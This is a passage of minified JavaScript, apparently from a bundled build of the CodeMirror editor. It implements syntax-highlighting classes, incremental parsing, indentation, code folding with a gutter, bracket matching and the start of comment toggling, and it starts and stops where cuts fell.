Ot&&(e.name=i)}od([{tag:y.link,class:"tok-link"},{tag:y.heading,class:"tok-heading"},{tag:y.emphasis,class:"tok-emphasis"},{tag:y.strong,class:"tok-strong"},{tag:y.keyword,class:"tok-keyword"},{tag:y.atom,class:"tok-atom"},{tag:y.bool,class:"tok-bool"},{tag:y.url,class:"tok-url"},{tag:y.labelName,class:"tok-labelName"},{tag:y.inserted,class:"tok-inserted"},{tag:y.deleted,class:"tok-deleted"},{tag:y.literal,class:"tok-literal"},{tag:y.string,class:"tok-string"},{tag:y.number,class:"tok-number"},{tag:[y.regexp,y.escape,y.special(y.string)],class:"tok-string2"},{tag:y.variableName,class:"tok-variableName"},{tag:y.local(y.variableName),class:"tok-variableName tok-local"},{tag:y.definition(y.variableName),class:"tok-variableName tok-definition"},{tag:y.special(y.variableName),class:"tok-variableName2"},{tag:y.definition(y.propertyName),class:"tok-propertyName tok-definition"},{tag:y.typeName,class:"tok-typeName"},{tag:y.namespace,class:"tok-namespace"},{tag:y.className,class:"tok-className"},{tag:y.macroName,class:"tok-macroName"},{tag:y.propertyName,class:"tok-propertyName"},{tag:y.operator,class:"tok-operator"},{tag:y.comment,class:"tok-comment"},{tag:y.meta,class:"tok-meta"},{tag:y.invalid,class:"tok-invalid"},{tag:y.punctuation,class:"tok-punctuation"}]);var no;const Ai=new W;function Ax(i){return T.define({combine:i?e=>e.concat(i):void 0})}const Tx=new W;class it{constructor(e,t,n=[],r=""){this.data=e,this.name=r,V.prototype.hasOwnProperty("tree")||Object.defineProperty(V.prototype,"tree",{get(){return Oe(this)}}),this.parser=t,this.extension=[Kt.of(this),V.languageData.of((s,o,l)=>{let a=Xh(s,o,l),h=a.type.prop(Ai);if(!h)return[];let c=s.facet(h),f=a.type.prop(Tx);if(f){let u=a.resolve(o-a.from,l);for(let d of f)if(d.test(u,s)){let p=s.facet(d.facet);return d.type=="replace"?p:p.concat(c)}}return c})].concat(n)}isActiveAt(e,t,n=-1){return Xh(e,t,n).type.prop(Ai)==this.data}findRegions(e){let t=e.facet(Kt);if(t?.data==this.data)return[{from:0,to:e.doc.length}];if(!t||!t.allowsNesting)return[];let n=[],r=(s,o)=>{if(s.prop(Ai)==this.data){n.push({from:o,to:o+s.length});return}let l=s.prop(W.mounted);if(l){if(l.tree.prop(Ai)==this.data){if(l.overlay)for(let a of l.overlay)n.push({from:a.from+o,to:a.to+o});else n.push({from:o,to:o+s.length});return}else if(l.overlay){let a=n.length;if(r(l.tree,l.overlay[0].from+o),n.length>a)return}}for(let a=0;a<s.children.length;a++){let h=s.children[a];h instanceof ae&&r(h,s.positions[a]+o)}};return r(Oe(e),0),n}get allowsNesting(){return!0}}it.setState=N.define();function Xh(i,e,t){let n=i.facet(Kt),r=Oe(i).topNode;if(!n||n.allowsNesting)for(let s=r;s;s=s.enter(e,t,ne.ExcludeBuffers|ne.EnterBracketed))s.type.isTop&&(r=s);return r}class Ur extends it{constructor(e,t,n){super(e,t,[],n),this.parser=t}static define(e){let t=Ax(e.languageData);return new Ur(t,e.parser.configure({props:[Ai.add(n=>n.isTop?t:void 0)]}),e.name)}configure(e,t){return new Ur(this.data,this.parser.configure(e),t||this.name)}get allowsNesting(){return this.parser.hasWrappers()}}function Oe(i){let e=i.field(it.state,!1);return e?e.tree:ae.empty}class Mx{constructor(e){this.doc=e,this.cursorPos=0,this.string="",this.cursor=e.iter()}get length(){return this.doc.length}syncTo(e){return this.string=this.cursor.next(e-this.cursorPos).value,this.cursorPos=e+this.string.length,this.cursorPos-this.string.length}chunk(e){return this.syncTo(e),this.string}get lineChunks(){return!0}read(e,t){let n=this.cursorPos-this.string.length;return e<n||t>=this.cursorPos?this.doc.sliceString(e,t):this.string.slice(e-n,t-n)}}let hn=null;class Kr{constructor(e,t,n=[],r,s,o,l,a){this.parser=e,this.state=t,this.fragments=n,this.tree=r,this.treeLen=s,this.viewport=o,this.skipped=l,this.scheduleOn=a,this.parse=null,this.tempSkipped=[]}static create(e,t,n){return new Kr(e,t,[],ae.empty,0,n,[],null)}startParse(){return this.parser.startParse(new Mx(this.state.doc),this.fragments)}work(e,t){return t!=null&&t>=this.state.doc.length&&(t=void 0),this.tree!=ae.empty&&this.isDone(t??this.state.doc.length)?(this.takeTree(),!0):this.withContext(()=>{var n;if(typeof e=="number"){let r=Date.now()+e;e=()=>Date.now()>r}for(this.parse||(this.parse=this.startParse()),t!=null&&(this.parse.stoppedAt==null||this.parse.stoppedAt>t)&&t<this.state.doc.length&&this.parse.stopAt(t);;){let r=this.parse.advance();if(r)if(this.fragments=this.withoutTempSkipped(fi.addTree(r,this.fragments,this.parse.stoppedAt!=null)),this.treeLen=(n=this.parse.stoppedAt)!==null&&n!==void 0?n:this.state.doc.length,this.tree=r,this.parse=null,this.treeLen<(t??this.state.doc.length))this.parse=this.startParse();else return!0;if(e())return!1}})}takeTree(){let e,t;this.parse&&(e=this.parse.parsedPos)>=this.treeLen&&((this.parse.stoppedAt==null||this.parse.stoppedAt>e)&&this.parse.stopAt(e),this.withContext(()=>{for(;!(t=this.parse.advance()););}),this.treeLen=e,this.tree=t,this.fragments=this.withoutTempSkipped(fi.addTree(this.tree,this.fragments,!0)),this.parse=null)}withContext(e){let t=hn;hn=this;try{return e()}finally{hn=t}}withoutTempSkipped(e){for(let t;t=this.tempSkipped.pop();)e=jh(e,t.from,t.to);return e}changes(e,t){let{fragments:n,tree:r,treeLen:s,viewport:o,skipped:l}=this;if(this.takeTree(),!e.empty){let a=[];if(e.iterChangedRanges((h,c,f,u)=>a.push({fromA:h,toA:c,fromB:f,toB:u})),n=fi.applyChanges(n,a),r=ae.empty,s=0,o={from:e.mapPos(o.from,-1),to:e.mapPos(o.to,1)},this.skipped.length){l=[];for(let h of this.skipped){let c=e.mapPos(h.from,1),f=e.mapPos(h.to,-1);c<f&&l.push({from:c,to:f})}}}return new Kr(this.parser,t,n,r,s,o,l,this.scheduleOn)}updateViewport(e){if(this.viewport.from==e.from&&this.viewport.to==e.to)return!1;this.viewport=e;let t=this.skipped.length;for(let n=0;n<this.skipped.length;n++){let{from:r,to:s}=this.skipped[n];r<e.to&&s>e.from&&(this.fragments=jh(this.fragments,r,s),this.skipped.splice(n--,1))}return this.skipped.length>=t?!1:(this.reset(),!0)}reset(){this.parse&&(this.takeTree(),this.parse=null)}skipUntilInView(e,t){this.skipped.push({from:e,to:t})}static getSkippingParser(e){return new class extends nd{createParse(t,n,r){let s=r[0].from,o=r[r.length-1].to;return{parsedPos:s,advance(){let a=hn;if(a){for(let h of r)a.tempSkipped.push(h);e&&(a.scheduleOn=a.scheduleOn?Promise.all([a.scheduleOn,e]):e)}return this.parsedPos=o,new ae($e.none,[],[],o-s)},stoppedAt:null,stopAt(){}}}}}isDone(e){e=Math.min(e,this.state.doc.length);let t=this.fragments;return this.treeLen>=e&&t.length&&t[0].from==0&&t[0].to>=e}static get(){return hn}}function jh(i,e,t){return fi.applyChanges(i,[{fromA:e,toA:t,fromB:e,toB:t}])}class Ki{constructor(e){this.context=e,this.tree=e.tree}apply(e){if(!e.docChanged&&this.tree==this.context.tree)return this;let t=this.context.changes(e.changes,e.state),n=this.context.treeLen==e.startState.doc.length?void 0:Math.max(e.changes.mapPos(this.context.treeLen),t.viewport.to);return t.work(20,n)||t.takeTree(),new Ki(t)}static init(e){let t=Math.min(3e3,e.doc.length),n=Kr.create(e.facet(Kt).parser,e,{from:0,to:t});return n.work(20,t)||n.takeTree(),new Ki(n)}}it.state=Ae.define({create:Ki.init,update(i,e){for(let t of e.effects)if(t.is(it.setState))return t.value;return e.startState.facet(Kt)!=e.state.facet(Kt)?Ki.init(e.state):i.apply(e)}});let ld=i=>{let e=setTimeout(()=>i(),500);return()=>clearTimeout(e)};typeof requestIdleCallback<"u"&&(ld=i=>{let e=-1,t=setTimeout(()=>{e=requestIdleCallback(i,{timeout:400})},100);return()=>e<0?clearTimeout(t):cancelIdleCallback(e)});const ro=typeof navigator<"u"&&(!((no=navigator.scheduling)===null||no===void 0)&&no.isInputPending)?()=>navigator.scheduling.isInputPending():null,Px=se.fromClass(class{constructor(e){this.view=e,this.working=null,this.workScheduled=0,this.chunkEnd=-1,this.chunkBudget=-1,this.work=this.work.bind(this),this.scheduleWork()}update(e){let t=this.view.state.field(it.state).context;(t.updateViewport(e.view.viewport)||this.view.viewport.to>t.treeLen)&&this.scheduleWork(),(e.docChanged||e.selectionSet)&&(this.view.hasFocus&&(this.chunkBudget+=50),this.scheduleWork()),this.checkAsyncSchedule(t)}scheduleWork(){if(this.working)return;let{state:e}=this.view,t=e.field(it.state);(t.tree!=t.context.tree||!t.context.isDone(e.doc.length))&&(this.working=ld(this.work))}work(e){this.working=null;let t=Date.now();if(this.chunkEnd<t&&(this.chunkEnd<0||this.view.hasFocus)&&(this.chunkEnd=t+3e4,this.chunkBudget=3e3),this.chunkBudget<=0)return;let{state:n,viewport:{to:r}}=this.view,s=n.field(it.state);if(s.tree==s.context.tree&&s.context.isDone(r+1e5))return;let o=Date.now()+Math.min(this.chunkBudget,100,e&&!ro?Math.max(25,e.timeRemaining()-5):1e9),l=s.context.treeLen<r&&n.doc.length>r+1e3,a=s.context.work(()=>ro&&ro()||Date.now()>o,r+(l?0:1e5));this.chunkBudget-=Date.now()-t,(a||this.chunkBudget<=0)&&(s.context.takeTree(),this.view.dispatch({effects:it.setState.of(new Ki(s.context))})),this.chunkBudget>0&&!(a&&!l)&&this.scheduleWork(),this.checkAsyncSchedule(s.context)}checkAsyncSchedule(e){e.scheduleOn&&(this.workScheduled++,e.scheduleOn.then(()=>this.scheduleWork()).catch(t=>Fe(this.view.state,t)).then(()=>this.workScheduled--),e.scheduleOn=null)}destroy(){this.working&&this.working()}isWorking(){return!!(this.working||this.workScheduled>0)}},{eventHandlers:{focus(){this.scheduleWork()}}}),Kt=T.define({combine(i){return i.length?i[0]:null},enables:i=>[it.state,Px,A.contentAttributes.compute([i],e=>{let t=e.facet(i);return t&&t.name?{"data-language":t.name}:{}})]});class Ex{constructor(e,t=[]){this.language=e,this.support=t,this.extension=[e,t]}}const Lx=T.define(),ks=T.define({combine:i=>{if(!i.length)return"  ";let e=i[0];if(!e||/\S/.test(e)||Array.from(e).some(t=>t!=e[0]))throw new Error("Invalid indent unit: "+JSON.stringify(i[0]));return e}});function Xr(i){let e=i.facet(ks);return e.charCodeAt(0)==9?i.tabSize*e.length:e.length}function In(i,e){let t="",n=i.tabSize,r=i.facet(ks)[0];if(r=="	"){for(;e>=n;)t+="	",e-=n;r=" "}for(let s=0;s<e;s++)t+=r;return t}function la(i,e){i instanceof V&&(i=new ws(i));for(let n of i.state.facet(Lx)){let r=n(i,e);if(r!==void 0)return r}let t=Oe(i.state);return t.length>=e?Dx(i,t,e):null}class ws{constructor(e,t={}){this.state=e,this.options=t,this.unit=Xr(e)}lineAt(e,t=1){let n=this.state.doc.lineAt(e),{simulateBreak:r,simulateDoubleBreak:s}=this.options;return r!=null&&r>=n.from&&r<=n.to?s&&r==e?{text:"",from:e}:(t<0?r<e:r<=e)?{text:n.text.slice(r-n.from),from:r}:{text:n.text.slice(0,r-n.from),from:n.from}:n}textAfterPos(e,t=1){if(this.options.simulateDoubleBreak&&e==this.options.simulateBreak)return"";let{text:n,from:r}=this.lineAt(e,t);return n.slice(e-r,Math.min(n.length,e+100-r))}column(e,t=1){let{text:n,from:r}=this.lineAt(e,t),s=this.countColumn(n,e-r),o=this.options.overrideIndentation?this.options.overrideIndentation(r):-1;return o>-1&&(s+=o-this.countColumn(n,n.search(/\S|$/))),s}countColumn(e,t=e.length){return Ji(e,this.state.tabSize,t)}lineIndent(e,t=1){let{text:n,from:r}=this.lineAt(e,t),s=this.options.overrideIndentation;if(s){let o=s(r);if(o>-1)return o}return this.countColumn(n,n.search(/\S|$/))}get simulatedBreak(){return this.options.simulateBreak||null}}const ad=new W;function Dx(i,e,t){let n=e.resolveStack(t),r=e.resolveInner(t,-1).resolve(t,0).enterUnfinishedNodesBefore(t);if(r!=n.node){let s=[];for(let o=r;o&&!(o.from<n.node.from||o.to>n.node.to||o.from==n.node.from&&o.type==n.node.type);o=o.parent)s.push(o);for(let o=s.length-1;o>=0;o--)n={node:s[o],next:n}}return hd(n,i,t)}function hd(i,e,t){for(let n=i;n;n=n.next){let r=Ix(n.node);if(r)return r(aa.create(e,t,n))}return 0}function Rx(i){return i.pos==i.options.simulateBreak&&i.options.simulateDoubleBreak}function Ix(i){let e=i.type.prop(ad);if(e)return e;let t=i.firstChild,n;if(t&&(n=t.type.prop(W.closedBy))){let r=i.lastChild,s=r&&n.indexOf(r.name)>-1;return o=>cd(o,!0,1,void 0,s&&!Rx(o)?r.from:void 0)}return i.parent==null?Nx:null}function Nx(){return 0}class aa extends ws{constructor(e,t,n){super(e.state,e.options),this.base=e,this.pos=t,this.context=n}get node(){return this.context.node}static create(e,t,n){return new aa(e,t,n)}get textAfter(){return this.textAfterPos(this.pos)}get baseIndent(){return this.baseIndentFor(this.node)}baseIndentFor(e){let t=this.state.doc.lineAt(e.from);for(;;){let n=e.resolve(t.from);for(;n.parent&&n.parent.from==n.from;)n=n.parent;if(Bx(n,e))break;t=this.state.doc.lineAt(n.from)}return this.lineIndent(t.from)}continue(){return hd(this.context.next,this.base,this.pos)}}function Bx(i,e){for(let t=e;t;t=t.parent)if(i==t)return!0;return!1}function Fx(i){let e=i.node,t=e.childAfter(e.from),n=e.lastChild;if(!t)return null;let r=i.options.simulateBreak,s=i.state.doc.lineAt(t.from),o=r==null||r<=s.from?s.to:Math.min(s.to,r);for(let l=t.to;;){let a=e.childAfter(l);if(!a||a==n)return null;if(!a.type.isSkipped){if(a.from>=o)return null;let h=/^ */.exec(s.text.slice(t.to-s.from))[0].length;return{from:t.from,to:t.to+h}}l=a.to}}function Yh({closing:i,align:e=!0,units:t=1}){return n=>cd(n,e,t,i)}function cd(i,e,t,n,r){let s=i.textAfter,o=s.match(/^\s*/)[0].length,l=n&&s.slice(o,o+n.length)==n||r==i.pos+o,a=e?Fx(i):null;return a?l?i.column(a.from):i.column(a.to):i.baseIndent+(l?0:i.unit*t)}const _x=200;function Wx(){return V.transactionFilter.of(i=>{if(!i.docChanged||!i.isUserEvent("input.type")&&!i.isUserEvent("input.complete"))return i;let e=i.startState.languageDataAt("indentOnInput",i.startState.selection.main.head);if(!e.length)return i;let t=i.newDoc,{head:n}=i.newSelection.main,r=t.lineAt(n);if(n>r.from+_x)return i;let s=t.sliceString(r.from,n);if(!e.some(h=>h.test(s)))return i;let{state:o}=i,l=-1,a=[];for(let{head:h}of o.selection.ranges){let c=o.doc.lineAt(h);if(c.from==l)continue;l=c.from;let f=la(o,c.from);if(f==null)continue;let u=/^\s*/.exec(c.text)[0],d=In(o,f);u!=d&&a.push({from:c.from,to:c.from+u.length,insert:d})}return a.length?[i,{changes:a,sequential:!0}]:i})}const $x=T.define(),fd=new W;function Hx(i){let e=i.firstChild,t=i.lastChild;return e&&e.to<t.from?{from:e.to,to:t.type.isError?i.to:t.from}:null}function Vx(i,e,t){let n=Oe(i);if(n.length<t)return null;let r=n.resolveStack(t,1),s=null;for(let o=r;o;o=o.next){let l=o.node;if(l.to<=t||l.from>t)continue;if(s&&l.from<e)break;let a=l.type.prop(fd);if(a&&(l.to<n.length-50||n.length==i.doc.length||!Qx(l))){let h=a(l,i);h&&h.from<=t&&h.from>=e&&h.to>t&&(s=h)}}return s}function Qx(i){let e=i.lastChild;return e&&e.to==i.to&&e.type.isError}function jr(i,e,t){for(let n of i.facet($x)){let r=n(i,e,t);if(r)return r}return Vx(i,e,t)}function ud(i,e){let t=e.mapPos(i.from,1),n=e.mapPos(i.to,-1);return t>=n?void 0:{from:t,to:n}}const Os=N.define({map:ud}),zn=N.define({map:ud});function dd(i){let e=[];for(let{head:t}of i.state.selection.ranges)e.some(n=>n.from<=t&&n.to>=t)||e.push(i.lineBlockAt(t));return e}const bi=Ae.define({create(){return D.none},update(i,e){e.isUserEvent("delete")&&e.changes.iterChangedRanges((t,n)=>i=Gh(i,t,n)),i=i.map(e.changes);for(let t of e.effects)if(t.is(Os)&&!zx(i,t.value.from,t.value.to)){let{preparePlaceholder:n}=e.state.facet(md),r=n?D.replace({widget:new Gx(n(e.state,t.value))}):Jh;i=i.update({add:[r.range(t.value.from,t.value.to)]})}else t.is(zn)&&(i=i.update({filter:(n,r)=>t.value.from!=n||t.value.to!=r,filterFrom:t.value.from,filterTo:t.value.to}));return e.selection&&(i=Gh(i,e.selection.main.head)),i},provide:i=>A.decorations.from(i),toJSON(i,e){let t=[];return i.between(0,e.doc.length,(n,r)=>{t.push(n,r)}),t},fromJSON(i){if(!Array.isArray(i)||i.length%2)throw new RangeError("Invalid JSON for fold state");let e=[];for(let t=0;t<i.length;){let n=i[t++],r=i[t++];if(typeof n!="number"||typeof r!="number")throw new RangeError("Invalid JSON for fold state");e.push(Jh.range(n,r))}return D.set(e,!0)}});function Gh(i,e,t=e){let n=!1;return i.between(e,t,(r,s)=>{r<t&&s>e&&(n=!0)}),n?i.update({filterFrom:e,filterTo:t,filter:(r,s)=>r>=t||s<=e}):i}function Yr(i,e,t){var n;let r=null;return(n=i.field(bi,!1))===null||n===void 0||n.between(e,t,(s,o)=>{(!r||r.from>s)&&(r={from:s,to:o})}),r}function zx(i,e,t){let n=!1;return i.between(e,e,(r,s)=>{r==e&&s==t&&(n=!0)}),n}function pd(i,e){return i.field(bi,!1)?e:e.concat(N.appendConfig.of(bd()))}const qx=i=>{for(let e of dd(i)){let t=jr(i.state,e.from,e.to);if(t)return i.dispatch({effects:pd(i.state,[Os.of(t),gd(i,t)])}),!0}return!1},Ux=i=>{if(!i.state.field(bi,!1))return!1;let e=[];for(let t of dd(i)){let n=Yr(i.state,t.from,t.to);n&&e.push(zn.of(n),gd(i,n,!1))}return e.length&&i.dispatch({effects:e}),e.length>0};function gd(i,e,t=!0){let n=i.state.doc.lineAt(e.from).number,r=i.state.doc.lineAt(e.to).number;return A.announce.of(`${i.state.phrase(t?"Folded lines":"Unfolded lines")} ${n} ${i.state.phrase("to")} ${r}.`)}const Kx=i=>{let{state:e}=i,t=[];for(let n=0;n<e.doc.length;){let r=i.lineBlockAt(n),s=jr(e,r.from,r.to);s&&t.push(Os.of(s)),n=(s?i.lineBlockAt(s.to):r).to+1}return t.length&&i.dispatch({effects:pd(i.state,t)}),!!t.length},Xx=i=>{let e=i.state.field(bi,!1);if(!e||!e.size)return!1;let t=[];return e.between(0,i.state.doc.length,(n,r)=>{t.push(zn.of({from:n,to:r}))}),i.dispatch({effects:t}),!0},jx=[{key:"Ctrl-Shift-[",mac:"Cmd-Alt-[",run:qx},{key:"Ctrl-Shift-]",mac:"Cmd-Alt-]",run:Ux},{key:"Ctrl-Alt-[",run:Kx},{key:"Ctrl-Alt-]",run:Xx}],Yx={placeholderDOM:null,preparePlaceholder:null,placeholderText:"…"},md=T.define({combine(i){return kt(i,Yx)}});function bd(i){return[bi,ev]}function yd(i,e){let{state:t}=i,n=t.facet(md),r=o=>{let l=i.lineBlockAt(i.posAtDOM(o.target)),a=Yr(i.state,l.from,l.to);a&&i.dispatch({effects:zn.of(a)}),o.preventDefault()};if(n.placeholderDOM)return n.placeholderDOM(i,r,e);let s=document.createElement("span");return s.textContent=n.placeholderText,s.setAttribute("aria-label",t.phrase("folded code")),s.title=t.phrase("unfold"),s.className="cm-foldPlaceholder",s.onclick=r,s}const Jh=D.replace({widget:new class extends wt{toDOM(i){return yd(i,null)}}});class Gx extends wt{constructor(e){super(),this.value=e}eq(e){return this.value==e.value}toDOM(e){return yd(e,this.value)}}const Jx={openText:"⌄",closedText:"›",markerDOM:null,domEventHandlers:{},foldingChanged:()=>!1};class so extends Dt{constructor(e,t){super(),this.config=e,this.open=t}eq(e){return this.config==e.config&&this.open==e.open}toDOM(e){if(this.config.markerDOM)return this.config.markerDOM(this.open);let t=document.createElement("span");return t.textContent=this.open?this.config.openText:this.config.closedText,t.title=e.state.phrase(this.open?"Fold line":"Unfold line"),t}}function Zx(i={}){let e={...Jx,...i},t=new so(e,!0),n=new so(e,!1),r=se.fromClass(class{constructor(o){this.from=o.viewport.from,this.markers=this.buildMarkers(o)}update(o){(o.docChanged||o.viewportChanged||o.startState.facet(Kt)!=o.state.facet(Kt)||o.startState.field(bi,!1)!=o.state.field(bi,!1)||Oe(o.startState)!=Oe(o.state)||e.foldingChanged(o))&&(this.markers=this.buildMarkers(o.view))}buildMarkers(o){let l=new Et;for(let a of o.viewportLineBlocks){let h=Yr(o.state,a.from,a.to)?n:jr(o.state,a.from,a.to)?t:null;h&&l.add(a.from,a.from,h)}return l.finish()}}),{domEventHandlers:s}=e;return[r,ex({class:"cm-foldGutter",markers(o){var l;return((l=o.plugin(r))===null||l===void 0?void 0:l.markers)||$.empty},initialSpacer(){return new so(e,!1)},domEventHandlers:{...s,click:(o,l,a)=>{if(s.click&&s.click(o,l,a))return!0;let h=Yr(o.state,l.from,l.to);if(h)return o.dispatch({effects:zn.of(h)}),!0;let c=jr(o.state,l.from,l.to);return c?(o.dispatch({effects:Os.of(c)}),!0):!1}}}),bd()]}const ev=A.baseTheme({".cm-foldPlaceholder":{backgroundColor:"#eee",border:"1px solid #ddd",color:"#888",borderRadius:".2em",margin:"0 1px",padding:"0 1px",cursor:"pointer"},".cm-foldGutter span":{padding:"0 1px",cursor:"pointer"}});class Zi{constructor(e,t){this.specs=e;let n;function r(l){let a=Qt.newName();return(n||(n=Object.create(null)))["."+a]=l,a}const s=typeof t.all=="string"?t.all:t.all?r(t.all):void 0,o=t.scope;this.scope=o instanceof it?l=>l.prop(Ai)==o.data:o?l=>l==o:void 0,this.style=od(e.map(l=>({tag:l.tag,class:l.class||r(Object.assign({},l,{tag:null}))})),{all:s}).style,this.module=n?new Qt(n):null,this.themeType=t.themeType}static define(e,t){return new Zi(e,t||{})}}const gl=T.define(),xd=T.define({combine(i){return i.length?[i[0]]:null}});function oo(i){let e=i.facet(gl);return e.length?e:i.facet(xd)}function ha(i,e){let t=[iv],n;return i instanceof Zi&&(i.module&&t.push(A.styleModule.of(i.module)),n=i.themeType),e?.fallback?t.push(xd.of(i)):n?t.push(gl.computeN([A.darkTheme],r=>r.facet(A.darkTheme)==(n=="dark")?[i]:[])):t.push(gl.of(i)),t}class tv{constructor(e){this.markCache=Object.create(null),this.tree=Oe(e.state),this.decorations=this.buildDeco(e,oo(e.state)),this.decoratedTo=e.viewport.to}update(e){let t=Oe(e.state),n=oo(e.state),r=n!=oo(e.startState),{viewport:s}=e.view,o=e.changes.mapPos(this.decoratedTo,1);t.length<s.to&&!r&&t.type==this.tree.type&&o>=s.to?(this.decorations=this.decorations.map(e.changes),this.decoratedTo=o):(t!=this.tree||e.viewportChanged||r)&&(this.tree=t,this.decorations=this.buildDeco(e.view,n),this.decoratedTo=s.to)}buildDeco(e,t){if(!t||!this.tree.length)return D.none;let n=new Et;for(let{from:r,to:s}of e.visibleRanges)wx(this.tree,t,(o,l,a)=>{n.add(o,l,this.markCache[a]||(this.markCache[a]=D.mark({class:a})))},r,s);return n.finish()}}const iv=yi.high(se.fromClass(tv,{decorations:i=>i.decorations})),nv=Zi.define([{tag:y.meta,color:"#404740"},{tag:y.link,textDecoration:"underline"},{tag:y.heading,textDecoration:"underline",fontWeight:"bold"},{tag:y.emphasis,fontStyle:"italic"},{tag:y.strong,fontWeight:"bold"},{tag:y.strikethrough,textDecoration:"line-through"},{tag:y.keyword,color:"#708"},{tag:[y.atom,y.bool,y.url,y.contentSeparator,y.labelName],color:"#219"},{tag:[y.literal,y.inserted],color:"#164"},{tag:[y.string,y.deleted],color:"#a11"},{tag:[y.regexp,y.escape,y.special(y.string)],color:"#e40"},{tag:y.definition(y.variableName),color:"#00f"},{tag:y.local(y.variableName),color:"#30a"},{tag:[y.typeName,y.namespace],color:"#085"},{tag:y.className,color:"#167"},{tag:[y.special(y.variableName),y.macroName],color:"#256"},{tag:y.definition(y.propertyName),color:"#00c"},{tag:y.comment,color:"#940"},{tag:y.invalid,color:"#f00"}]),rv=A.baseTheme({"&.cm-focused .cm-matchingBracket":{backgroundColor:"#328c8252"},"&.cm-focused .cm-nonmatchingBracket":{backgroundColor:"#bb555544"}}),vd=1e4,Sd="()[]{}",kd=T.define({combine(i){return kt(i,{afterCursor:!0,brackets:Sd,maxScanDistance:vd,renderMatch:lv})}}),sv=D.mark({class:"cm-matchingBracket"}),ov=D.mark({class:"cm-nonmatchingBracket"});function lv(i){let e=[],t=i.matched?sv:ov;return e.push(t.range(i.start.from,i.start.to)),i.end&&e.push(t.range(i.end.from,i.end.to)),e}function Zh(i){let e=[],t=i.facet(kd);for(let n of i.selection.ranges){if(!n.empty)continue;let r=yt(i,n.head,-1,t)||n.head>0&&yt(i,n.head-1,1,t)||t.afterCursor&&(yt(i,n.head,1,t)||n.head<i.doc.length&&yt(i,n.head+1,-1,t));r&&(e=e.concat(t.renderMatch(r,i)))}return D.set(e,!0)}const av=se.fromClass(class{constructor(i){this.paused=!1,this.decorations=Zh(i.state)}update(i){(i.docChanged||i.selectionSet||this.paused)&&(i.view.composing?(this.decorations=this.decorations.map(i.changes),this.paused=!0):(this.decorations=Zh(i.state),this.paused=!1))}},{decorations:i=>i.decorations}),hv=[av,rv];function cv(i={}){return[kd.of(i),hv]}const fv=new W;function ml(i,e,t){let n=i.prop(e<0?W.openedBy:W.closedBy);if(n)return n;if(i.name.length==1){let r=t.indexOf(i.name);if(r>-1&&r%2==(e<0?1:0))return[t[r+e]]}return null}function bl(i){let e=i.type.prop(fv);return e?e(i.node):i}function yt(i,e,t,n={}){let r=n.maxScanDistance||vd,s=n.brackets||Sd,o=Oe(i),l=o.resolveInner(e,t);for(let a=l;a;a=a.parent){let h=ml(a.type,t,s);if(h&&a.from<a.to){let c=bl(a);if(c&&(t>0?e>=c.from&&e<c.to:e>c.from&&e<=c.to))return uv(i,e,t,a,c,h,s)}}return dv(i,e,t,o,l.type,r,s)}function uv(i,e,t,n,r,s,o){let l=n.parent,a={from:r.from,to:r.to},h=0,c=l?.cursor();if(c&&(t<0?c.childBefore(n.from):c.childAfter(n.to)))do if(t<0?c.to<=n.from:c.from>=n.to){if(h==0&&s.indexOf(c.type.name)>-1&&c.from<c.to){let f=bl(c);return{start:a,end:f?{from:f.from,to:f.to}:void 0,matched:!0}}else if(ml(c.type,t,o))h++;else if(ml(c.type,-t,o)){if(h==0){let f=bl(c);return{start:a,end:f&&f.from<f.to?{from:f.from,to:f.to}:void 0,matched:!1}}h--}}while(t<0?c.prevSibling():c.nextSibling());return{start:a,matched:!1}}function dv(i,e,t,n,r,s,o){if(t<0?!e:e==i.doc.length)return null;let l=t<0?i.sliceDoc(e-1,e):i.sliceDoc(e,e+1),a=o.indexOf(l);if(a<0||a%2==0!=t>0)return null;let h={from:t<0?e-1:e,to:t>0?e+1:e},c=i.doc.iterRange(e,t>0?i.doc.length:0),f=0;for(let u=0;!c.next().done&&u<=s;){let d=c.value;t<0&&(u+=d.length);let p=e+u*t;for(let g=t>0?0:d.length-1,m=t>0?d.length:-1;g!=m;g+=t){let b=o.indexOf(d[g]);if(!(b<0||n.resolveInner(p+g,1).type!=r))if(b%2==0==t>0)f++;else{if(f==1)return{start:h,end:{from:p+g,to:p+g+1},matched:b>>1==a>>1};f--}}t>0&&(u+=d.length)}return c.done?{start:h,matched:!1}:null}const pv=Object.create(null),ec=[$e.none],tc=[],ic=Object.create(null),gv=Object.create(null);for(let[i,e]of[["variable","variableName"],["variable-2","variableName.special"],["string-2","string.special"],["def","variableName.definition"],["tag","tagName"],["attribute","attributeName"],["type","typeName"],["builtin","variableName.standard"],["qualifier","modifier"],["error","invalid"],["header","heading"],["property","propertyName"]])gv[i]=mv(pv,e);function lo(i,e){tc.indexOf(i)>-1||(tc.push(i),console.warn(e))}function mv(i,e){let t=[];for(let l of e.split(" ")){let a=[];for(let h of l.split(".")){let c=i[h]||y[h];c?typeof c=="function"?a.length?a=a.map(c):lo(h,`Modifier ${h} used at start of tag`):a.length?lo(h,`Tag ${h} used as modifier`):a=Array.isArray(c)?c:[c]:lo(h,`Unknown highlighting tag ${h}`)}for(let h of a)t.push(h)}if(!t.length)return 0;let n=e.replace(/ /g,"_"),r=n+" "+t.map(l=>l.id),s=ic[r];if(s)return s.id;let o=ic[r]=$e.define({id:ec.length,name:n,props:[rd({[n]:t})]});return ec.push(o),o.id}J.RTL,J.LTR;const bv=i=>{let{state:e}=i,t=e.doc.lineAt(e.selection.main.from),n=fa(i.state,t.from);return n.line?yv(i):n.block?vv(i):!1};function ca(i,e){return({state:t,dispatch:n})=>{if(t.readOnly)return!1;let r=i(e,t);return r?(n(t.update(r)),!0):!1}}const yv=ca(wv,0),xv=ca(wd,0),vv=ca((i,e)=>wd(i,e,kv(e)),0);function fa(i,e){let t=i.languageDataAt("commentTokens",e,1);return t.length?t[0]:{}}const cn=50;function Sv(i,{open:e,close:t},n,r){let s=i.sliceDoc(n-cn,n),o=i.sliceDoc(r,r+cn),l=/\s*$/.exec(s)[0].length,a=/^\s*/.exec(o)[0].length,h=s.length-l;if(s.slice(h-e.length,h)==e&&o.slice(a,a+t.length)==t)return{open:{pos:n-l,margin:l&&1},close:{pos:r+a,margin:a&&1}};let c,f;r-n<=2*cn?c=f=i.sliceDoc(n,r):(c=i.sliceDoc(n,n+cn),f=i.sliceDoc(r-cn,r));let u=/^\s*/.exec(c)[0].length,d=/\s*$/.exec(f)[0].length,p=f.length-d-t.length;return c.slice(u,u+e.length)==e&&f.slice(p,p+t.length)==t?{open:{pos:n+u+e.length,margin:/\s/.test(c.charAt(u+e.length))?1:0},close:{pos:r-d-t.length,margin:/\s/.test(f.charAt(p-1))?1:0}}:null}function kv(i){let 